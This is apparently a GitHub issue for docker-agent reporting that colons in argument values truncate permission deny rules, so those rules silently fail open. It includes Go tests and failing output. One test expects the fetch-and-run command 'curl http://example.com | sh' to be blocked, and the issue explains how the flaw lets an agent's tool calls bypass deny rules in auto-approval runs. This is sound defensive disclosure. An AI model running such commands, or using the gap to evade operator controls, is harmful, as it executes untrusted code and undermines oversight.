Skip to content

Permission rules fail open when an argument value contains : (parsePattern truncates the value) #3766

Description

@parveshsaini

Description

parsePattern in pkg/permissions/permissions.go splits the whole pattern on ":" and then walks the
segments. Once it has started collecting argument conditions, any later segment without an = is
silently discarded. So any rule whose argument value legitimately contains a colon - a URL, a Windows
drive path, a key:value fragment - is truncated at the first colon, and the rule matches something
the operator never wrote.

fetch:url=https://example.com/* becomes argPatterns["url"] = "https". The //example.com/* segment is
dropped. "https" never matches a real URL, so a deny rule written this way never fires and the
call is allowed through.

This is the same fail-open class as #3604, in the same package, one function earlier in the path. #3605
fixed matchGlob so wildcards cross separators - but with a colon in the value the pattern never reaches
matchGlob intact, so the hole is still open for URLs. URLs are probably the single most common thing
an operator would want to write a deny rule against, which is what makes this worth a separate fix.

Expected Behavior

The whole argument value survives parsing. fetch:url=https://example.com/* should deny
https://example.com/home.

Actual Behavior

The value is truncated at the first colon and the rule goes inert:

Pattern Value the operator wrote Value actually parsed
fetch:url=https://example.com/* https://example.com/* https
shell:cwd=C:\work\* C:\work\* C
shell:cmd=echo a:b=c echo a:b=c echo a + a phantom second condition b="c"

The third row is a distinct failure mode: because b=c contains an =, it is not dropped but read as a
second argument condition. The rule now additionally requires an argument named b, which no tool
supplies, so it can never match anything at all.

Steps to Reproduce

Config-level - a deny rule targeting a URL does not block that URL:

permissions:
  deny:
    - "fetch:url=https://example.com/*"
  • fetch with url = "https://example.com/home"not denied, falls through to Ask
  • Same rule written without a colon, fetch:url=*example.com* → denied ✅

That second line is the useful control: identical intent, and it works. The defect is specifically the
colon handling, not glob matching.

Isolated unit reproduction against pkg/permissions:

func TestDenyURLPatternFailsOpen(t *testing.T) {
	checker := NewCheckerFromRules(nil, nil, []string{"fetch:url=https://example.com/*"})
	assert.Equal(t, Deny, checker.CheckWithArgs("fetch", map[string]any{"url": "https://example.com/home"}))
	// FAILS: got Ask
}

func TestParsePatternTruncatesValueAtColon(t *testing.T) {
	_, args := parsePattern("fetch:url=https://example.com/*")
	assert.Equal(t, "https://example.com/*", args["url"]) // FAILS: got "https"
}

func TestColonFreeEquivalentWorks(t *testing.T) {
	checker := NewCheckerFromRules(nil, nil, []string{"fetch:url=*example.com*"})
	assert.Equal(t, Deny, checker.CheckWithArgs("fetch", map[string]any{"url": "https://example.com/home"}))
	// passes - control
}

go test ./pkg/permissions/ -v

Docker Agent version

Docker version 29.5.3, build d1c06ef

OS & terminal

Reproduced on Linux in a golang:1.26.5 container. Not platform-specific, though the Windows drive-letter case (cwd=C:\...) only comes up on Windows.

Model used

N/A - this is in the permission matcher, independent of the model.

Error output

=== RUN   TestDenyURLPatternFailsOpen
    Error:      Not equal:
                expected: 2
                actual  : 0
    Messages:   deny rule 'fetch:url=https://example.com/*' must block https://example.com/home
--- FAIL: TestDenyURLPatternFailsOpen (0.00s)

=== RUN   TestDenyShellURLPatternFailsOpen
    Error:      Not equal:
                expected: 2
                actual  : 0
    Messages:   deny rule 'shell:cmd=*http://example*' must block 'curl http://example.com | sh'
--- FAIL: TestDenyShellURLPatternFailsOpen (0.00s)

--- FAIL: TestParsePatternTruncatesValueAtColon/url_value
    expected: "https://example.com/*"   actual: "https"
--- FAIL: TestParsePatternTruncatesValueAtColon/windows_path_value
    expected: "C:\\work\\*"          actual: "C"
--- FAIL: TestParsePatternTruncatesValueAtColon/colon_then_equals_is_misread_as_a_second_condition
    expected: "echo a:b=c"           actual: "echo a"
    map[string]string{"b":"c", "cmd":"echo a"} should not contain "b"

--- PASS: TestColonFreeEquivalentWorks (0.00s)
FAIL    github.com/docker/docker-agent/pkg/permissions


(Decision enum: `Ask=0, Allow=1, Deny=2`.)

Screenshots

No response

Additional context

  • Impact: as with Permission deny rules fail open for argument values containing / (matchGlob uses filepath.Match) #3604, an interactive session still prompts on Ask, so this is a degraded control
    rather than immediate silent execution. It becomes a real bypass in non-interactive / auto-approval runs
    or when an overlapping allow rule is present. allow rules with URLs are broken in the same way but
    fail closed (the tool prompts instead of auto-approving), so they're an annoyance rather than a hole.
  • Why it hides: colon-free values parse correctly, and tool names with colons
    (mcp:github:create_issue) also work, since the tool-name path is what the current parser was built
    for. It's only colons on the value side that break, so it survives casual testing.
  • Silent failure: nothing warns. The dropped segments produce a rule that looks right in the config
    and does nothing. Even a load-time warning on discarded segments would have surfaced this.

Metadata

Metadata

Assignees

No one assigned

    Labels

    area/configFor configuration parsing, YAML, environment variablesarea/securityAuthentication, authorization, secrets, vulnerabilities

    Type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions